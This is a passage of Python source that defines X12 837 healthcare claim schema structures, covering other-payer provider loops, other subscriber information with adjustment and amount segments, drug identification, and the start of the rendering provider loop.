position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["82"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Rendering Provider Secondary Identification",
position="3550",
repeat="3",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330E = Loop(
"2330E",
Properties(
desc="Other Payer Service Facility Location",
looptype="",
position="4650",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Other Payer Service Facility Location",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["77"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Service Facility Location Secondary Identification",
position="3550",
repeat="3",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330F = Loop(
"2330F",
Properties(
desc="Other Payer Supervising Provider",
looptype="",
position="5650",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Other Payer Supervising Provider",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DQ"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Supervising Provider Secondary Identification",
position="3550",
repeat="3",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330G = Loop(
"2330G",
Properties(
desc="Other Payer Billing Provider",
looptype="",
position="6350",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Other Payer Billing Provider",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["85"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Billing Provider Secondary Identification",
position="3550",
repeat="2",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2320 = Loop(
"2320",
Properties(
desc="Other Subscriber Information",
looptype="",
position="2900",
repeat="10",
req_sit="S",
),
Segment(
"SBR",
Properties(
desc="Other Subscriber Information",
position="2900",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"SBR01",
Properties(
desc="Payer Responsibility Sequence Number Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=1,
codes=["A", "B", "C", "D", "E", "F", "G", "H", "P", "S", "T", "U"],
),
),
Element(
"SBR02",
Properties(
desc="Individual Relationship Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=2,
codes=["01", "18", "19", "20", "21", "39", "40", "53", "G8"],
),
),
Element(
"SBR03",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"SBR04",
Properties(
desc="Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=4,
codes=[],
),
),
Element(
"SBR05",
Properties(
desc="Insurance Type Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=5,
codes=["12", "13", "14", "15", "16", "41", "42", "43", "47"],
),
),
Element(
"SBR06",
Properties(
desc="Coordination of Benefits Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=6,
codes=[],
),
),
Element(
"SBR07",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=7,
codes=[],
),
),
Element(
"SBR08",
Properties(
desc="Employment Status Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=8,
codes=[],
),
),
Element(
"SBR09",
Properties(
desc="Claim Filing Indicator Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=9,
codes=[
"11",
"12",
"13",
"14",
"15",
"16",
"17",
"AM",
"BL",
"CH",
"CI",
"DS",
"FI",
"HM",
"LM",
"MA",
"MB",
"MC",
"OF",
"TV",
"VA",
"WC",
"ZZ",
],
),
),
),
Segment(
"CAS",
Properties(
desc="Claim Level Adjustments",
position="2950",
repeat="5",
req_sit="S",
syntax="L050607 C0605 C0705 L080910 C0908 C1008 L111213 C1211 C1311 L141516 C1514 C1614 L171819 C1817 C1917",
),
Element(
"CAS01",
Properties(
desc="Claim Adjustment Group Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=1,
codes=["CO", "CR", "OA", "PI", "PR"],
),
),
Element(
"CAS02",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="R",
data_type=("ID", "1", "5"),
position=2,
codes=[],
),
),
Element(
"CAS03",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=3,
codes=[],
),
),
Element(
"CAS04",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=4,
codes=[],
),
),
Element(
"CAS05",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=5,
codes=[],
),
),
Element(
"CAS06",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=6,
codes=[],
),
),
Element(
"CAS07",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=7,
codes=[],
),
),
Element(
"CAS08",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=8,
codes=[],
),
),
Element(
"CAS09",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=9,
codes=[],
),
),
Element(
"CAS10",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=10,
codes=[],
),
),
Element(
"CAS11",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=11,
codes=[],
),
),
Element(
"CAS12",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=12,
codes=[],
),
),
Element(
"CAS13",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=13,
codes=[],
),
),
Element(
"CAS14",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=14,
codes=[],
),
),
Element(
"CAS15",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=15,
codes=[],
),
),
Element(
"CAS16",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=16,
codes=[],
),
),
Element(
"CAS17",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=17,
codes=[],
),
),
Element(
"CAS18",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=18,
codes=[],
),
),
Element(
"CAS19",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=19,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Coordination of Benefits (COB) Payer Paid Amount",
position="3000",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["D"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Coordination of Benefits (COB) Total Non-Covered Amount",
position="3000",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["A8"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Remaining Patient Liability",
position="3000",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["EAF"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
Segment(
"OI",
Properties(
desc="Other Insurance Coverage Information",
position="3100",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"OI01",
Properties(
desc="Claim Filing Indicator Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=1,
codes=[],
),
),
Element(
"OI02",
Properties(
desc="Claim Submission Reason Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"OI03",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=3,
codes=["N", "W", "Y"],
),
),
Element(
"OI04",
Properties(
desc="Patient Signature Source Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=4,
codes=["P"],
),
),
Element(
"OI05",
Properties(
desc="Provider Agreement Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=5,
codes=[],
),
),
Element(
"OI06",
Properties(
desc="Release of Information Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=6,
codes=["I", "Y"],
),
),
),
Segment(
"MOA",
Properties(
desc="Outpatient Adjudication Information",
position="3200",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"MOA01",
Properties(
desc="Percentage as Decimal",
req_sit="S",
data_type=("R", "1", "10"),
position=1,
codes=[],
),
),
Element(
"MOA02",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"MOA03",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"MOA04",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=4,
codes=[],
),
),
Element(
"MOA05",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
Element(
"MOA06",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=6,
codes=[],
),
),
Element(
"MOA07",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=7,
codes=[],
),
),
Element(
"MOA08",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=8,
codes=[],
),
),
Element(
"MOA09",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=9,
codes=[],
),
),
),
parsed_837_2330A,
parsed_837_2330B,
parsed_837_2330C,
parsed_837_2330D,
parsed_837_2330E,
parsed_837_2330F,
parsed_837_2330G,
)
parsed_837_2410 = Loop(
"2410",
Properties(
desc="Drug Identification",
looptype="",
position="4940",
repeat="1",
req_sit="S",
),
Segment(
"LIN",
Properties(
desc="Drug Identification",
position="4930",
repeat="1",
req_sit="R",
syntax="P0405 P0607 P0809 P1011 P1213 P1415 P1617 P1819 P2021 P2223 P2425 P2627 P2829 P3031",
),
Element(
"LIN01",
Properties(
desc="Assigned Identification",
req_sit="N",
data_type=("AN", "1", "20"),
position=1,
codes=[],
),
),
Element(
"LIN02",
Properties(
desc="Product/Service ID Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=2,
codes=["EN", "EO", "HI", "N4", "ON", "UK", "UP"],
),
),
Element(
"LIN03",
Properties(
desc="Product/Service ID",
req_sit="R",
data_type=("AN", "1", "48"),
position=3,
codes=[],
),
),
Element(
"LIN04",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=4,
codes=[],
),
),
Element(
"LIN05",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=5,
codes=[],
),
),
Element(
"LIN06",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=6,
codes=[],
),
),
Element(
"LIN07",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=7,
codes=[],
),
),
Element(
"LIN08",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=8,
codes=[],
),
),
Element(
"LIN09",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=9,
codes=[],
),
),
Element(
"LIN10",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"LIN11",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=11,
codes=[],
),
),
Element(
"LIN12",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=12,
codes=[],
),
),
Element(
"LIN13",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=13,
codes=[],
),
),
Element(
"LIN14",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=14,
codes=[],
),
),
Element(
"LIN15",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=15,
codes=[],
),
),
Element(
"LIN16",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=16,
codes=[],
),
),
Element(
"LIN17",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=17,
codes=[],
),
),
Element(
"LIN18",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=18,
codes=[],
),
),
Element(
"LIN19",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=19,
codes=[],
),
),
Element(
"LIN20",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=20,
codes=[],
),
),
Element(
"LIN21",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=21,
codes=[],
),
),
Element(
"LIN22",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=22,
codes=[],
),
),
Element(
"LIN23",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=23,
codes=[],
),
),
Element(
"LIN24",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=24,
codes=[],
),
),
Element(
"LIN25",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=25,
codes=[],
),
),
Element(
"LIN26",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=26,
codes=[],
),
),
Element(
"LIN27",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=27,
codes=[],
),
),
Element(
"LIN28",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=28,
codes=[],
),
),
Element(
"LIN29",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=29,
codes=[],
),
),
Element(
"LIN30",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=30,
codes=[],
),
),
Element(
"LIN31",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=31,
codes=[],
),
),
),
Segment(
"CTP",
Properties(
desc="Drug Quantity",
position="4940",
repeat="1",
req_sit="R",
syntax="P0405 C0607 C0902 C1002 C1103",
),
Element(
"CTP01",
Properties(
desc="Class of Trade Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=1,
codes=[],
),
),
Element(
"CTP02",
Properties(
desc="Price Identifier Code",
req_sit="N",
data_type=("ID", "3", "3"),
position=2,
codes=[],
),
),
Element(
"CTP03",
Properties(
desc="Unit Price",
req_sit="N",
data_type=("R", "1", "17"),
position=3,
codes=[],
),
),
Element(
"CTP04",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=4,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="R",
seq="05",
),
Element(
"CTP05-01",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=0,
codes=["F2", "GR", "ME", "ML", "UN"],
),
),
Element(
"CTP05-02",
Properties(
desc="Exponent",
req_sit="N",
data_type=("R", "1", "15"),
position=1,
codes=[],
),
),
Element(
"CTP05-03",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=2,
codes=[],
),
),
Element(
"CTP05-04",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=3,
codes=[],
),
),
Element(
"CTP05-05",
Properties(
desc="Exponent",
req_sit="N",
data_type=("R", "1", "15"),
position=4,
codes=[],
),
),
Element(
"CTP05-06",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=5,
codes=[],
),
),
Element(
"CTP05-07",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=6,
codes=[],
),
),
Element(
"CTP05-08",
Properties(
desc="Exponent",
req_sit="N",
data_type=("R", "1", "15"),
position=7,
codes=[],
),
),
Element(
"CTP05-09",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=8,
codes=[],
),
),
Element(
"CTP05-10",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=9,
codes=[],
),
),
Element(
"CTP05-11",
Properties(
desc="Exponent",
req_sit="N",
data_type=("R", "1", "15"),
position=10,
codes=[],
),
),
Element(
"CTP05-12",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=11,
codes=[],
),
),
Element(
"CTP05-13",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=12,
codes=[],
),
),
Element(
"CTP05-14",
Properties(
desc="Exponent",
req_sit="N",
data_type=("R", "1", "15"),
position=13,
codes=[],
),
),
Element(
"CTP05-15",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=14,
codes=[],
),
),
),
Element(
"CTP06",
Properties(
desc="Price Multiplier Qualifier",
req_sit="N",
data_type=("ID", "3", "3"),
position=6,
codes=[],
),
),
Element(
"CTP07",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=7,
codes=[],
),
),
Element(
"CTP08",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=8,
codes=[],
),
),
Element(
"CTP09",
Properties(
desc="Basis of Unit Price Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=9,
codes=[],
),
),
Element(
"CTP10",
Properties(
desc="Condition Value",
req_sit="N",
data_type=("AN", "1", "10"),
position=10,
codes=[],
),
),
Element(
"CTP11",
Properties(
desc="Multiple Price Quantity",
req_sit="N",
data_type=("N0", "1", "2"),
position=11,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Prescription or Compound Drug Association Number",
position="4950",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["VY", "XZ"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2420A = Loop(
"2420A",
Properties(
desc="Rendering Provider Name",
looptype="",
position="5000",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Rendering Provider Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["82"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
